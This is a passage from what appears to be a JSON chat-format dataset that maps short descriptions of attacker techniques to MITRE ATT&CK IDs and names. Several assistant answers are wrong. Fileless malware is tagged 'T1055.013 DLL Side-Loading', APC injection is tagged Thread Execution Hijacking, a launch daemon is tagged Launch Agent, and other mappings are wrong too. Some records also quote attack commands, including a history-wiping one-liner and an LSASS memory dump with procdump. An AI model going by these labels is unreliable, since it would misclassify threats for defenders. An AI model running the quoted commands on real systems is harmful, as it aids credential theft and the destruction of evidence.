                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker manipulates the Odbcconf configuration to load a backdoored driver, leveraging System Binary Proxy Execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a crafted .desktop file on Linux to execute a script with root privileges via the desktop environment."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses Google Docs API to upload exfiltrated documents to a private Google Drive folder."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers search the .bash_history for lines containing sudo passwords that were entered during prior sessions."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group hijacks the trust provider chain, injecting malicious code via the Software Installation Package to bypass security checks."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware collects the system's MAC address and network interface details via GetAdaptersInfo API."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using SSH tunneling, the threat actor forwards malicious traffic to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a compromised ServiceNow instance to pull ticket information and export it."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deploys a launch daemon using the launchctl command to load a malicious service at startup."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker queues a user‑mode APC to a sleeping thread in a legitimate application, causing the APC to execute malicious code when the thread resumes."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses compromised Active Directory credentials to execute PowerShell commands on an endpoint."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device on the network was used as a foothold to pivot and compromise the main application server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool alters the credential validation logic, wrapping the password in a reversible cipher before verification, which the attacker later decrypts to obtain the cleartext credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages insecure default permissions on the CRI socket to read container image pull secrets from the host filesystem."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a bug in the Keychain daemon to execute arbitrary code that reads the user's stored passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages VBA stomping by creating a malicious macro and later modifying the VBA project to appear harmless."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker removes the Zone.Identifier alternate data stream from a downloaded executable to eliminate the Mark of the Web warning before execution."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts saved passwords from web browsers and exports them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is concealed within the alpha channel of a GIF file to evade analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy rundll32.exe with arguments that point to a remote DLL, enabling remote code execution via system binary proxy."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries performed a cookie theft attack by accessing the victim's cookie jar and reusing the session ID to authenticate as the user."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a WMI event subscription that activates a malicious JScript whenever the Windows Event Log service restarts."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install a malicious authentication package that is loaded by the LSASS process during user logon to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the \"COM elevation moniker\" (e.g., \"Elevation:Administrator!new:{CLSID}\"), the adversary launches their code with elevated rights, avoiding the UAC consent dialog."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise uses a custom binary protocol, encrypting the payload symmetrically before exfiltrating data to an external server."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits Windows' handling of unquoted file paths by inserting a malicious script in a directory like C:\\Program Files\\My App\\bin, causing it to run before the intended program."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copied itself to \"C:\\Windows\\Temp\\Microsoft\\Office\\Office16\\winword.exe\" to appear as a genuine Office component."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script swaps variable names with random characters and inserts irrelevant code to confuse static analysis."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a malicious attachment named \"Invoice.pdf.exe\", exploiting the Windows hidden extension behavior to masquerade as a PDF file."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the built‑in Windows tool procdump.exe with the -ma flag to capture LSASS memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"cat /dev/null > ~/.bash_history && history -c\" to clear the command history file and session history."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerability in a DNS server to perform cache poisoning and redirect users to malicious sites."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor periodically checks a Twitter account for encoded messages containing C2 directives."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor creates a hidden side‑car container that runs a keylogger alongside legitimate services."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor reads AWS access keys from a .aws/credentials file left on disk and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses systemctl edit to inject a drop-in snippet that runs a malicious command."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group sets up a multi-hop proxy chain using compromised third‑party servers to obscure its origin."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro extracts Excel spreadsheets from the user's local machine and sends them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform credential dumping to gain privileged access before sabotaging services."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised API endpoint was used to deliver backdoor executables to victims."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a hidden shared mailbox in G Suite to store stolen documents and maintain command access."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilizing a fileless malware attack to evade detection"
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accesses the SAM hive and LSASS cache to retrieve previously logged-in domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the adversary executes `Get-ADGroup -Filter *` to list every group in the Active Directory domain."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors assign additional Kubernetes RBAC roles to compromised service accounts to expand privileges within the container cluster."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT‑XYZ inserts firewall rules that drop packets containing known IDS signatures, thus blocking indicators that would trigger alerts."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion includes a scheduled task that periodically runs a cryptominer, ensuring continuous resource exploitation."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers subscribe to a cyber‑threat intelligence service and routinely scrape the data for clues about the target's security tools and recent patches."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infection chain, the payload removes the \"Mark of the Web\" (Zone.Identifier) from the payload file to subvert execution restrictions on Windows."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a hidden Hyper-V instance, the attacker runs payloads that leave no files on the disk, effectively concealing their presence."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies the SAM file from %SystemRoot%\\system32\\config and extracts the NTLM hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the Dsquery command to list all trusted domains within the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is disguised as \"image.jpg.exe\" to trick users into executing it, relying on Windows showing only the first extension."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool queries the Device Manager via COM interfaces to discover peripheral devices and their statuses."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in the hybrid identity federation setup, the attacker injects forged SAML assertions that are accepted by both on-prem and cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the 'sc create' command to configure a service that runs a PowerShell reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker purchases a prepaid credit card to fund the acquisition of infrastructure services."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers set up a secure communication channel that relies on asymmetric key exchange for confidentiality."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting an open API, the attacker retrieves user profiles, including email addresses, from a social media platform."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised online forum injects a hidden iframe that loads a malicious DLL onto visitors’ systems."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary queries the AWS EC2 instance metadata service at 169.254.169.254 to harvest IAM role credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs the Windows Service Control Manager to start a malicious service that runs under the LocalSystem account."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use compromised user credentials to connect to Exchange Web Services (EWS) and download victim mailbox contents remotely."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators use code search features on repositories like SourceForge to locate API endpoints and keys."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers inject malicious DLL path via the AppInit_DLLs registry entry to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After embedding a web shell in the mail server, the attacker ran a batch job that removes all email messages from the victim’s account to hide indicators."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising an identity provider's API, the threat actor reassigns MFA devices from legitimate users to attacker-controlled accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit crafts domain names by mixing a static prefix with a timestamp-derived suffix, then performs DNS queries to contact its C2."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the Windows utility wevtutil.exe to clear the Security, System, and Application event logs to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python script zipped sensitive data and uploaded it to a Google Cloud Storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches an ARP poisoning attack from a compromised IoT device to capture credentials from nearby hosts."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code invokes the 'tar' utility with the -c and -f flags to create an archive of captured screenshots on a Unix system."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor modifies firewall rules to allow outbound traffic on port 23, the Telnet port, for C2."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised a third‑party software updater to distribute malicious binaries to victims."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware sample loads kernel32.dll dynamically and calls CreateRemoteThread via dynamically resolved pointers to hide its API usage."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
